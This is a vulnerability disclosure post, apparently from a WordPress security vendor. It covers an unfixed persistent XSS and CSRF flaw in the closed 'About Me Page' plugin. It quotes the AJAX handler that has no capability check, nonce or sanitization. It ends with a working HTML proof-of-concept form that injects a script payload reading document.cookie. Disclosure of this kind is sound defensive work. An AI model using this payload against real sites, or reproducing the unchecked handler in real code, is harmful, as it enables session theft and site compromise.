Did WordPress Leave Users of the Plugin About Me Page in the Dark About Vulnerability Hackers May Now Be Targeting?
As part of making sure the customers of our service are getting the best information on vulnerabilities in WordPress plugins they may be using we monitor for hackers probing for usage of plugins on our website and then try to figure out what the hackers might be looking to exploit. For the second time today, that has led to us running across a plugin with an unfixed vulnerability that hackers could be interested in.
This time it involves the plugin About Me Page, which was closed on the Plugin Directory on May 9. No reason has been given for the closure, but one reason it could have been closed is for a security vulnerability like the authenticated persistent cross-site scripting (XSS) vulnerability we immediately ran across when we starting looking at the plugin. That is a type of vulnerability we have seen hackers targeting recently, though with only 1,000+ installs it would seem less likely to be a targeted considering the attacker would need a WordPress account, but it may be that hackers are casting a wider net or don’t know the limited usage of the plugin.
If the plugin was more popular we would have noticed this at the time it was closed and warned our customers already, but with only 1,000+ installs it falls below the level our monitoring of the closure of plugins. If the team running the Plugin Directory knew about this they should made sure it got fixed considering it is something hackers would be interested in exploiting (we have repeatedly offered to do most of the work for them to accomplish that) or at least warned users of the plugin that it was insecure, instead of just closing it and leaving them in the dark.
This vulnerability isn’t all that complicated. The plugin register the function save_all_pages() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
10 | add_action( 'wp_ajax_wcp_save_all_pages', array($this,'save_all_pages') ); |
That function is intended to be accessed from the plugin’s admin page, which is limited to those with the “manage_option” capability, which would normally only be Administrators:
16 | add_menu_page('About Me Page','About Me','manage_options', 'about_me_page' ,array($this,'display_options_page'), 'dashicons-admin-users'); |
So that function should check for the same capability, but instead it simply updates the data related to the plugin without doing any security checks:
40 41 42 | function save_all_pages(){ update_option( 'wcp_about_me_page', $_REQUEST['pages'] ); } |
That also doesn’t do any sanitization.
As the proof of concept below shows, the values from that are not escaped when output on the plugin’s admin page (and frontend pages as well).
Since there is no check for a valid nonce, this could also be exploited through cross-site request forgery (CSRF).
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause an alert box with any available cookies to be shown on /wp-admin/admin.php?page=about_me_page, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wcp_save_all_pages" method="POST"> <input type="hidden" name="pages[0][abstyle]" value="default_style" /> <input type="hidden" name="pages[0][abname]" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="pages[0][abpicture]" value="" /> <input type="hidden" name="pages[0][abdesc]" value="" /> <input type="hidden" name="pages[0][abservice]" value="" /> <input type="hidden" name="pages[0][abskill]" value="" /> <input type="hidden" name="pages[0][abservices]" value="" /> <input type="hidden" name="pages[0][abicons]" value="" /> <input type="hidden" name="pages[0][abskills]" value="" /> <input type="hidden" name="pages[0][abskin]" value="default" /> <input type="hidden" name="pages[0][counter]" value="1" /> <input type="submit" value="Submit" /> </form> </body> </html>